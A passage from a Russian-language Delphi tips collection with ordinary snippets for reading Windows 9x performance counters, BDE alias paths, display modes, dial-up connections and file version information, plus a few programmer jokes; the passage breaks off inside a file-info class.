RegQueryValueEx(pkey,'VMM\cpgSwapfileDefective',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfileInUse',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfile',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cDiscards',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cPageOuts',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cPageIns',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cInstanceFaults',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cPageFaults',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgOther',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwap',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgLocked',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgFree',nil,regtype,@tmp,@vsize);
//Для KERNEL
RegQueryValueEx(pkey,'KERNEL\CPUUsage',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'KERNEL\VMs',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'KERNEL\Threads',nil,regtype,@tmp,@vsize);
RegCloseKey(pkey);
ftimer.enabled:=true;
end;
procedure tsysinfo.fupdatinginfo(sender:tobject);
var
res:integer;
begin
res:=RegOpenKeyEx(HKEY_DYN_DATA, 'PerfStats\StatData',0,KEY_ALL_ACCESS,pkey);
if res<>0 then
raise exception.Create('Could not open registry key');
//Для Dial Up Адаптера
RegQueryValueEx(pkey,'Dial-Up Adapter\Alignment',nil,regtype,@fDialupAdapterInfo.alignment,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Buffer',nil,regtype,@fDialupAdapterInfo.buffer,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Framing',nil,regtype,@fDialupAdapterInfo.framing,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Overrun ',nil,regtype,@fDialupAdapterInfo.overrun,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Timeout',nil,regtype,@fDialupAdapterInfo.timeout,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\CRC',nil,regtype, @fDialupAdapterInfo.crc,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Runts',nil,regtype,@fDialupAdapterInfo.runts,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\FramesXmit',nil,regtype,@fDialupAdapterInfo.framesxmit,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\FramesRecvd',nil,regtype, @fDialupAdapterInfo.framesrecieved,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@fDialupAdapterInfo.bytesxmit,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesRecvd',nil,regtype, @fDialupAdapterInfo.bytesrecieved,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesXmit',nil,regtype, @fDialupAdapterInfo.totalbytesxmit,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesRecvd',nil,regtype, @fDialupAdapterInfo.totalbytesrecieved,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\ConnectSpeed',nil,regtype, @fDialupAdapterInfo.connectspeed,@vsize);
// Для VCACHE
RegQueryValueEx(pkey,'VCACHE\LRUBuffers',nil,regtype, @fVCACHEInfo.lrubuffers,@vsize);
RegQueryValueEx(pkey,'VCACHE\FailedRecycles',nil,regtype, @fVCACHEInfo.failedrecycles,@vsize);
RegQueryValueEx(pkey,'VCACHE\RandomRecycles',nil,regtype, @fVCACHEInfo.randomrecycles,@vsize);
RegQueryValueEx(pkey,'VCACHE\LRURecycles',nil,regtype, @fVCACHEInfo.lrurecycles,@vsize);
RegQueryValueEx(pkey,'VCACHE\Misses',nil,regtype, @fVCACHEInfo.misses,@vsize);
RegQueryValueEx(pkey,'VCACHE\Hits',nil,regtype,@fVCACHEInfo.hits,@vsize);
RegQueryValueEx(pkey,'VCACHE\cMacPages',nil,regtype, @fVCACHEInfo.cmacpages,@vsize);
RegQueryValueEx(pkey,'VCACHE\cMinPages',nil,regtype, @fVCACHEInfo.cminpages,@vsize);
RegQueryValueEx(pkey,'VCACHE\cCurPages',nil,regtype, @fVCACHEInfo.ccurpages,@vsize);
//Для VFAT
RegQueryValueEx(pkey,'VFAT\DirtyData',nil,regtype, @ffatinfo.dirtydata,@vsize);
RegQueryValueEx(pkey,'VFAT\BReadsSec',nil,regtype, @ffatinfo.breadssec,@vsize);
RegQueryValueEx(pkey,'VFAT\BWritesSec',nil,regtype, @ffatinfo.bwritessec,@vsize);
RegQueryValueEx(pkey,'VFAT\ReadsSec',nil,regtype, @ffatinfo.readssec,@vsize);
RegQueryValueEx(pkey,'VFAT\WritesSec',nil,regtype, @ffatinfo.writessec,@vsize);
//Для VMM
RegQueryValueEx(pkey,'VMM\cpgLockedNoncache',nil,regtype, @fvmminfo.cpglockednoncache,@vsize);
RegQueryValueEx(pkey,'VMM\cpgCommit',nil,regtype, @fvmminfo.cpgcommit,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSharedPages',nil,regtype, @fvmminfo.cpgsharedpages,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMid',nil,regtype, @fvmminfo.cpgdiskcacheMid,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMac',nil,regtype, @fvmminfo.cpgdiskcacheMac,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMin',nil,regtype, @fvmminfo.cpgdiskcacheMin,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcache',nil,regtype, @fvmminfo.cpgdiskcache,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfileDefective',nil,regtype, @fvmminfo.cpgswapfiledefective,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfileInUse',nil,regtype, @fvmminfo.cpgswapfileinuse,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfile',nil,regtype, @fvmminfo.cpgswapfile,@vsize);
RegQueryValueEx(pkey,'VMM\cDiscards',nil,regtype, @fvmminfo.cdiscards,@vsize);
RegQueryValueEx(pkey,'VMM\cPageOuts',nil,regtype, @fvmminfo.cpageouts,@vsize);
RegQueryValueEx(pkey,'VMM\cPageIns',nil,regtype, @fvmminfo.cpageins,@vsize);
RegQueryValueEx(pkey,'VMM\cInstanceFaults',nil,regtype, @fvmminfo.cinstancefaults,@vsize);
RegQueryValueEx(pkey,'VMM\cPageFaults',nil,regtype, @fvmminfo.cpagefaults,@vsize);
RegQueryValueEx(pkey,'VMM\cpgOther',nil,regtype, @fvmminfo.cpgother,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwap',nil,regtype, @fvmminfo.cpgswap,@vsize);
RegQueryValueEx(pkey,'VMM\cpgLocked',nil,regtype, @fvmminfo.cpglocked,@vsize);
RegQueryValueEx(pkey,'VMM\cpgFree',nil,regtype, @fvmminfo.cpgfree,@vsize);
//Для KERNEL
RegQueryValueEx(pkey,'KERNEL\CPUUsage',nil,regtype, @fkernelinfo.cpuusagepcnt,@vsize);
RegQueryValueEx(pkey,'KERNEL\VMs',nil,regtype,@fkernelinfo.numvms,@vsize);
RegQueryValueEx(pkey,'KERNEL\Threads',nil,regtype, @fkernelinfo.numThreads,@vsize);
RegCloseKey(pkey);
if assigned(SysInfoChanged) then
SysInfoChanged(self);
end;
procedure TSysInfo.stoprecievingInfo;
var
res:integer;
begin
res:=RegOpenKeyEx(HKEY_DYN_DATA, 'PerfStats\StopStat',0,KEY_ALL_ACCESS,pkey);
if not fstopped then
begin
if res<>0 then
raise exception.Create('Could not open registry key');
//Для Dial Up Адаптера
RegQueryValueEx(pkey,'Dial-Up Adapter\Alignment',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Buffer',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Framing',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Overrun ',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Timeout',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\CRC',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Runts',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\FramesXmit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\FramesRecvd',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesRecvd',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesXmit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesRecvd',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\ConnectSpeed',nil,regtype,@tmp,@vsize);
// Для VCACHE
RegQueryValueEx(pkey,'VCACHE\LRUBuffers',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\FailedRecycles',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\RandomRecycles',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\LRURecycles',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\Misses',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\Hits',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\cMacPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\cMinPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\cCurPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);
//Для VFAT
RegQueryValueEx(pkey,'VFAT\DirtyData',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\BReadsSec',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\BWritesSec',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\ReadsSec',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\WritesSec',nil,regtype,@tmp,@vsize);
//Для VMM
RegQueryValueEx(pkey,'VMM\cpgLockedNoncache',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgCommit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSharedPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMid',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMac',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMin',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcache',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfileDefective',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfileInUse',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfile',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cDiscards',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cPageOuts',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cPageIns',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cInstanceFaults',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cPageFaults',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgOther',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwap',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgLocked',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgFree',nil,regtype,@tmp,@vsize);
//Для KERNEL
RegQueryValueEx(pkey,'KERNEL\CPUUsage',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'KERNEL\VMs',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'KERNEL\Threads',nil,regtype,@tmp,@vsize);
RegCloseKey(pkey);
ftimer.enabled:=false;
fstopped:=true;
end;
end;
procedure tsysinfo.fsetupdateinterval(aupdateinterval:integer);
begin
if (ftimer<>nil) and(aupdateinterval>0) then
begin
ftimer.Interval:=aupdateinterval;
fupdateinterval:=aupdateinterval;
end;
if (ftimer<>nil) and(aupdateinterval=0) then
begin
ftimer.Interval:=500;
fupdateinterval:=500;
end;
end;
destructor tsysinfo.Destroy;
begin
StopRecievingInfo;
ftimer.Destroy;
inherited;
end;
procedure register;
begin
RegisterComponents('Samples', [TSysInfo]);
end;
end.
|
Скопируйте это в файл .pas и проинсталлируйте его.
Получить позицию активного окна.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
var
hWindow: HWnd;
r: TRect;
begin
hWindow := GetForegroundWindow;
GetWindowRect(hWindow, r);
Memo1.Clear;
with Memo1.Lines do
begin
Add('Top : ' + IntToStr(r.Top));
Add('Left : ' + IntToStr(r.Left));
Add('Bottom: ' + IntToStr(r.Bottom));
Add('Right : ' + IntToStr(r.Right));
end;
end;
Определение возраста.
Автор: Ревенко Алексей.
DecodeDate(DM.Table.FieldByName('Born').AsDateTime, Year, Month, Day); // Дата рождения
DecodeDate(Date, YYYY, MM, DD); // Текущая дата
if (MM >= Month) and (DD >= Day) then
Edit2.Text := IntToStr((YYYY - Year))
else
Edit2.Text := IntToStr((YYYY - Year) - 1);
Получение информации об альясах.
uses DB, DBTables, DBITypes, DBIProcs;
procedure TForm1.FormCreate(Sender: TObject);
begin
Session.GetAliasNames(ListBox1.Items);
end;
procedure TForm1.ListBox1Click(Sender: TObject);
var
tStr: array[0..100] of char;
Desc: DBDesc;
{
The DBDesc structure describes a database, using the following fields:
szName DBINAME Specifies the database alias name.
szText DBINAME Descriptive text.
szPhyName DBIPATH Specifies the physical name/path.
szDbType DBINAME Specifies the database type.
}
begin
if ListBox1.Items.Count = 0 then
exit;
StrPLCopy(tStr, ListBox1.Items.Strings[ListBox1.ItemIndex], High(tStr));
DbiGetDatabaseDesc(tStr, @Desc);
with Desc do
begin
Label1.Caption := StrPas(Desc.szName);
Label2.Caption := StrPas(Desc.szPhyName);
Label3.Caption := StrPas(Desc.szDbType);
Label4.Caption := StrPas(Desc.szText);
end;
end;
|
Отображение всех псевдонимов в ComboBox.

Автор: GromovRV@Bashneft.Bashnet.ru.
//Для этого надо в Uses добавить ExtCtrls Session.GetAliasNames(ComboBox1.Items); |
Получение пути псевдонима и таблицы.
Автор: Reinhard KalinkeЕсть три способа сделать это... No1 годится только для постоянных псевдонимов BDE. No2 работает с BDE и локальными псевдонимами, и No3 работает с BDE и локальными псевдонимами, используя "тяжелый" путь, через вызовы DBI.
function GetDBPath1(AliasName: string): TFileName;
var
ParamList: TStringList;
begin
ParamList := TStringList.Create;
with Session do
try
GetAliasParams(AliasName, ParamList);
Result := UpperCase(ParamList.Values['PATH']) + '\';
finally
Paramlist.Free;
end;
end;
function GetDBPath2(AliasName: string): TFileName;
var
ParamList: TStringList;
i: integer;
begin
ParamList := TStringList.Create;
with Session do
try
try
GetAliasParams(AliasName, ParamList);
except
for i := 0 to pred(DatabaseCount) do
if (Databases[i].DatabaseName = AliasName) then
ParamList.Assign(Databases[i].Params);
end;
Result := UpperCase(ParamList.Values['PATH']) + '\';
finally
Paramlist.Free;
end;
end;
function GetDBPath3(ATable: TTable): TFileName;
var
TblProps: CURProps;
pTblName, pFullName: DBITblName;
begin
with ATable do
begin
AnsiToNative(Locale, TableName, pTblName, 255);
Check(DBIGetCursorProps(Handle, TblProps));
Check(DBIFormFullName(DBHandle,
pTblName,
TblProps.szTableType,
pFullName));
Result := ExtractFilePath(StrPas(pFullName));
end;
end;
|
Получение пути псевдонима и таблицы 2.
Вот маленький примерчик того, как в Delphi можно получить информацию о псевдонимах. Для начала создайте новый проект с ListBox и тремя метками (с именамиListВох1, Label1, Label2 и Label3). Затем создайте обработчик события формы OnCreate с примерно следующим кодом:
procedure TForm1.FormCreate(Sender: TObject); begin Session.GetAliasNames(ListBox1.Items); end; |
Теперь создайте обработчик OnClick для ListBox:
procedure TForm1.ListBox1Click(Sender: TObject);
var
tStr: array[0..100] of char;
Desc: DBDesc;
begin
if ListBox1.Items.Count = 0 then
exit;
StrPLCopy(tStr, ListBox1.Items.Strings[ListBox1.ItemIndex], High(tStr));
DbiGetDatabaseDesc(tStr, @Desc);
with Desc do
begin
Label1.Caption := StrPas(Desc.szName);
Label2.Caption := StrPas(Desc.szPhyName);
Label3.Caption := StrPas(Desc.szDbType);
end;
end;
|
Добавьте следующие модули в секцию 'uses' в верхней части модуля:
DB, DBTables, DBITypes, DBIProcs; |
Теперь вы можете увидеть путь для всех ваших стандартных псевдонимов (Paradox и dBase).
Получение пути псевдонима и таблицы 3.
Используйте Session.GetAliasParams. В ответ вы получите объект Tstrings, откуда вы можете получить значение для переменной 'PATH". Для получения дополнительной информации обратитесь к электронной справке к разделу, описывающему TSession. Объект Session объявлен в модуле DB.
uses db; var aliaspath: string[128]; begin aliaspath := Session.GetAliasParams['MyAlias'].values['PATH']; end; |
uses SysUtils,DbiProcs, DBiTypes;
...
function GetDataBaseDir(const Alias : string): String;
(* Возвращает каталог базы данных, на которую
ссылается псевдним (без конечного обратного слеша) *)
var
sp: PChar;
Res: pDBDesc;
begin
try
New(Res);
sp := StrAlloc(length(Alias)+1);
StrPCopy(sp,Alias);
if DbiGetDatabaseDesc(sp,Res) = 0 then
Result := StrPas(Res^.szPhyName)
else
Result := '';
finally
StrDispose(sp);
Dispose(Res);
end;
end;
|
Получение пути псевдонима и таблицы 4.
Автор: Nomadic По таблице (фактически по Database) получить физическое местонахождение.Примечание: Database можно создать явно, если нет, Дельфи сама его создаст, доступ к ней по Table(Query).Database.
uses DbiProcs;
function GetDirByDatabase( Database: TDatabase ): string;
var
pszDir: PChar;
begin
pszDir := StrAlloc( 255 );
try
DbiGetDirectory( Database.Handle, True, pszDir );
Result := StrPas( pszDir );
finally
StrDispose( pszDir );
end;
end;
|
По алиасу.
function GetPhNameByAlias( sAlias: string ): string;
var
Database: TDatabase;
pszDir: PChar;
begin
Database := TDatabase.Create( nil ); {allocate memory}
pszDir := StrAlloc( 255 );
try
Database.AliasName := sAlias;
Database.DatabaseName := 'TEMP'; {requires a name -- is ignored}
Database.Connected := True; {connect without opening any table}
DbiGetDirectory( Database.Handle, True, pszDir ); {get the dir.}
Database.Connected := False; {disconnect}
Result := StrPas( pszDir ); {convert to a string}
finally
Database.Free; {free memory}
StrDispose( pszDir );
end;
end;
|
Получить все возможные разрешения экрана.
| Правильная посадка за компьютером: - руки на ширине плеч, - ноги полусогнуты или вытянуты под столом, - глаза выпучены, - монитор включен. |
procedure TForm1.Button1Click(Sender: TObject);
var
DC: THandle; // display context
Bits: integer; // bits per pixel
HRes: integer; // horizontal resolution
VRes: integer; // vertical resolution
DM: TDevMode; // to Save EnumDisplaySettings
ModeNum: longint; // video mode number
Ok: Bool;
fre: integer; // refresh rate
begin
DC := GetDC(Handle);
Bits := GetDeviceCaps(DC, BITSPIXEL);
HRes := GetDeviceCaps(DC, HORZRES);
VRes := GetDeviceCaps(DC, VERTRES);
fre := GetDeviceCaps(DC, VREFRESH);
// Show Current Resolution
Edit1.Text := Format('%d bit, %d x %d', [Bits, HRes, VRes]);
ReleaseDC(Handle, DC); // Show all modes available ModeNum := 0; // The 1st one
EnumDisplaySettings(nil, ModeNum, DM);
ListBox1.Items.Add(Format('%d bit, %d x %d bei %d Hz', [DM.dmBitsPerPel,
DM.dmPelsWidth, DM.dmPelsHeight, Dm.dmDisplayFrequency]));
Ok := True;
while Ok do
begin
Inc(ModeNum); // Get next one
Ok := EnumDisplaySettings(nil, ModeNum, DM);
ListBox1.Items.Add(Format('%d bit, %d x %d bei %d Hz', [DM.dmBitsPerPel,
DM.dmPelsWidth, DM.dmPelsHeight, Dm.dmDisplayFrequency]));
end;
end;
|
Как получить все Dial-Up соединения.
| Один программер пришел в гости к другому. Сидят, пиво попивают. Тут на кухню заваливает огромный серый котяра. - Это мой кот. Зовут Зухель. - Почему Зухель? - Смотри. - берет веник, тычет в кота. - Зухель! Коннект! (Кот): - Шшшшшшшшш... |
Способ 1 - из реестра:
uses Registry;
function DUNGetConnections(out OutList: TStringList): Boolean;
var Reg: TRegistry;
begin
OutList.Clear;
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('\RemoteAccess\Profile', False) then
begin
Reg.GetKeyNames(OutList);
Result := True;
end
else
Result := False;
Reg.Free;
end;
|
Способ 2 - через RASApi:
Для этого воспользуемся функцией Use RASEnumConnections.
Далее можно определить состояние каждого соединения при помощи RASGetConnectStatus.
Так же можно использовать RASEnumEntries для получения всех сервисов из определённой телефонной книжки.
Толька для этого потребуется преобразовать заголовочный файл RAS.h в эквивалент Delphi.
Получаем всю информацию о файле.
Автор: Brian Pedersen
Данный объект может быть использован для получения исчерпывающей информации о любом файле. Так же включена функция выполнения файла Execute().
Использование: создайте объект с именем файла или путём.
unit FileInfo;
interface
uses
forms, shellapi, windows, sysutils;
type
EFileInfo = exception;
TLangInfoBuffer = array [1..4] of SmallInt;
TFileInfo = class
private
f : TSearchRec;
fVerBlk : TVSFixedFileInfo;
fFileName : string;
function GetFileVersion( AFileName : string ) : boolean;
public
constructor Create( AFileName : string ); // Создаём объект
destructor Destroy; override;
function Execute : integer; // Открывает файл в программе, связанной с ним
function VersionString : string; // Версия файла. Строка пустая, если строка не найдена
function OS : string; // Операционная система
function Path : string; // Путь файла
function FileName : string; // Имя файла
function name : string; // Имя файла без расширения
function DosFileName : string; // Имя файла в DOS
function FileExt : string; // Расширение файла
function FileType : string; // Тип файла
function FileSize : longint; // Размер файла
function isDebugBuild : boolean; // True если флаг отладки (debug build) установлен
function isPreRelease : boolean; // True если флаг prerelease установлен
function isPrivateBuild : boolean; // True если флаг private установлен
function isSpecialBuild : boolean; // True если флаг special build установлен
function isDirectory : boolean; // True если файл является директорией
function isHidden : boolean; // True если файл является скрытым (hidden)
function isSystemFile : boolean; // True если файл является системным
function isVolumeId : boolean; // True если файл является меткой тома
function isArchive : boolean; // True если файл является архивом
function CreationTime : TDateTime; // Время создания файла
function LastAccessed : TDateTime; // Время последнего доступа к файлу
function LastWritten : TDateTime; // Время последней записи в файл
end;
implementation
constructor TFileInfo.Create(AFileName: string);
var
ret: integer;
begin
inherited Create;
fFileName := AFileName;
ret := FindFirst( AFileName, faReadOnly + faHidden+ faSysFile +
faVolumeID + faDirectory + faArchive + faAnyFile, f );
if ret <> 0 then
SysUtils.RaiseLastWin32Error;
end;
destructor TFileInfo.Destroy;
begin
FindClose( f );
end;
function TFileInfo.GetFileVersion(AFileName: string): boolean;
var
InfoSize, puLen: DWord;
Pt, InfoPtr: Pointer;
begin
InfoSize := GetFileVersionInfoSize( PChar(AFileName), puLen );
fillchar( fVerBlk, sizeof(TVSFixedFileInfo), 0);
if InfoSize > 0 then
begin
GetMem(Pt,InfoSize);
GetFileVersionInfo( PChar(AFileName), 0, InfoSize, Pt);
VerQueryValue(Pt,'\',InfoPtr,puLen);
move(InfoPtr^, fVerBlk, sizeof(TVSFixedFileInfo) );
FreeMem(Pt);
result := true;
end
else
result := false;
end;
function TFileInfo.VersionString: string;
begin
if GetFileVersion( fFileName ) then
result := Format('%u.%u.%u.%u',
[HiWord(fVerBlk.dwProductVersionMS),
LoWord(fVerBlk.dwProductVersionMS),
HiWord(fVerBlk.dwProductVersionLS),
LoWord(fVerBlk.dwProductVersionLS)])
else
result := '';
end;
function TFileInfo.isDebugBuild : boolean;
begin
result := FALSE;
if GetFileVersion( fFileName ) then
result := (fVerBlk.dwFileFlagsMask and fVerBlk.dwFileFlags and
VS_FF_DEBUG) <> 0
end;
function TFIleInfo.isPreRelease : boolean;
begin
result := FALSE;
if GetFileVersion( fFileName ) then
result := (fVerBlk.dwFileFlagsMask and fVerBlk.dwFileFlags and
VS_FF_PRERELEASE) <> 0
end;
function TFIleInfo.isPrivateBuild : boolean;
begin
result := FALSE;
if GetFileVersion( fFileName ) then
result := (fVerBlk.dwFileFlagsMask and fVerBlk.dwFileFlags and
VS_FF_PRIVATEBUILD) <> 0
end;
function TFIleInfo.isSpecialBuild : boolean;
begin
result := FALSE;
if GetFileVersion( fFileName ) then
result := (fVerBlk.dwFileFlagsMask and fVerBlk.dwFileFlags and
VS_FF_SPECIALBUILD) <> 0
end;
function TFileInfo.OS : string;
begin
if GetFileVersion( fFileName ) then
case fVerBlk.dwFileOS of
VOS_DOS_WINDOWS16 : result := 'MS-DOS or 16 bit Windows';
VOS_DOS_WINDOWS32 : result := '32 bit Windows';
VOS_OS216_PM16 : result := '16 bit OS/2';
VOS_OS232_PM32 : result := '32 bit OS/2';
VOS_NT_WINDOWS32 : result := 'Win32 or Windows NT';
else
result := 'Unknown OS';
end
else
result := '';
end;
function TFileInfo.FileType : string;
var
S: string;
begin
S := '';
if GetFileVersion( fFileName ) then
begin
case fVerBlk.dwFileType of
VFT_APP : S := 'Application';
VFT_DLL : S := 'Dynamic Link Library (DLL)';
VFT_DRV :
begin
S := 'Device Driver - ';
case fVerBlk.dwFileSubtype of
VFT2_DRV_PRINTER : S := S + 'Printer';
VFT2_DRV_KEYBOARD : S := S + 'Keyboard';
VFT2_DRV_LANGUAGE : S := S + 'Language';
VFT2_DRV_DISPLAY : S := S + 'Display';
VFT2_DRV_MOUSE : S := S + 'Mouse';
VFT2_DRV_NETWORK : S := S + 'Network';
VFT2_DRV_SYSTEM : S := S + 'System';
VFT2_DRV_INSTALLABLE : S := S + 'Installable';
VFT2_DRV_SOUND : S := S + 'Sound';
else
S := S + 'Unknown';
end;
end;
VFT_FONT :
begin
S := 'Font File - ';
case fVerBlk.dwFileSubType of
VFT2_FONT_RASTER : S := S + 'Raster';
VFT2_FONT_VECTOR : S := S + 'Vector';
VFT2_FONT_TRUETYPE : S := S + 'TrueType';
else
S := S + 'Unknown';
end;
end;
VFT_VXD : S := 'Virtual Device';
VFT_STATIC_LIB : S := 'Static Link Library';
else
S := 'Unknown File Type';
end;
end;
Result := S;
end;
function TFileInfo.Path : string;
begin
result := ExtractFilePath( fFileName );
end;
function TFileInfo.FileName : string;
begin
result := ExtractFileName( fFileName );
end;
function TFileInfo.name : string;
begin
if Pos( FileExt, FileName ) > 0 then
result := Copy( FileName, 0, pos( FileExt, FileName )-1 )
else
result := FileName;
end;
function TFileInfo.DosFileName : string;
begin
result := StrPas( f.FindData.cAlternateFileName )
end;
function TFileInfo.FileExt : string;
begin
result := ExtractFileExt( fFileName );
end;
function TFileInfo.isDirectory : boolean;
begin
result := f.Attr and faDirectory = faDirectory;
end;
function TFileInfo.isHidden : boolean;
begin
result := f.Attr and faHidden = faHidden;
end;
function TFileInfo.isSystemFile : boolean;
begin
result := f.Attr and faSysFile = faSysFile;
end;
function TFileInfo.isVolumeId : boolean;
begin
result := f.Attr and faVolumeId = faVolumeId;
end;
function TFileInfo.isArchive : boolean;
begin
result := f.Attr and faArchive = faArchive;
end;
function TFileInfo.FileSize : longint;
begin
result := f.Size;
end;
function TFileInfo.CreationTime : TDateTime;
var
LTime: TFileTime;
Systemtime: TSystemtime;
begin
FileTimeToLocalFileTime( f.FindData.ftCreationTime, LTime);
FileTimeToSystemTime( LTime, SystemTime );
result := SystemTimeToDateTime( SystemTime);
end;
function TFileInfo.LastAccessed : TDateTime;
var
LTime : TFileTime;
Systemtime : TSystemtime;
begin
FileTimeToLocalFileTime( f.FindData.ftLastAccessTime, LTime);
FileTimeToSystemTime( LTime, SystemTime );
result := SystemTimeToDateTime( SystemTime);
end;
function TFileInfo.LastWritten : TDateTime;
var
LTime : TFileTime;
Systemtime : TSystemtime;
begin
FileTimeToLocalFileTime( f.FindData.ftLastWriteTime, LTime);
FileTimeToSystemTime( LTime, SystemTime );
result := SystemTimeToDateTime( SystemTime);
end;
function TFileInfo.Execute : integer;
begin
result := shellapi.ShellExecute( Application.Handle, 'open',
pChar( fFileName ), '', pChar(Path), SW_SHOWDEFAULT );
case result of
0 :
raise Exception.Create( 'Недостаточно памяти или ресурсов.' );
ERROR_FILE_NOT_FOUND :
raise Exception.Create( 'Указанный файл не найден.' );
ERROR_PATH_NOT_FOUND :
raise Exception.Create( 'Указанный путь не найден.' );
ERROR_BAD_FORMAT :
raise Exception.Create( 'Ошибка файла .EXE (не -Win32 .EXE или ошибка ' + 'в .EXE).' );
SE_ERR_ACCESSDENIED :
raise Exception.Create( 'Доступ к файлу запрещён.' );
SE_ERR_ASSOCINCOMPLETE :
raise Exception.Create( 'The filename association is incomplete or invalid.' );
SE_ERR_DDEBUSY :
raise Exception.Create( 'Транзакция DDE не может быть завершена, потому что ' +
'другая транзакция DDE находится в процессе выполнения.' );
SE_ERR_DDEFAIL :
raise Exception.Create( 'Ошибка транзакции DDE.' );
SE_ERR_DDETIMEOUT :
raise Exception.Create( 'DDE транзакция не может быть завершина из-за тайм-аута.' );
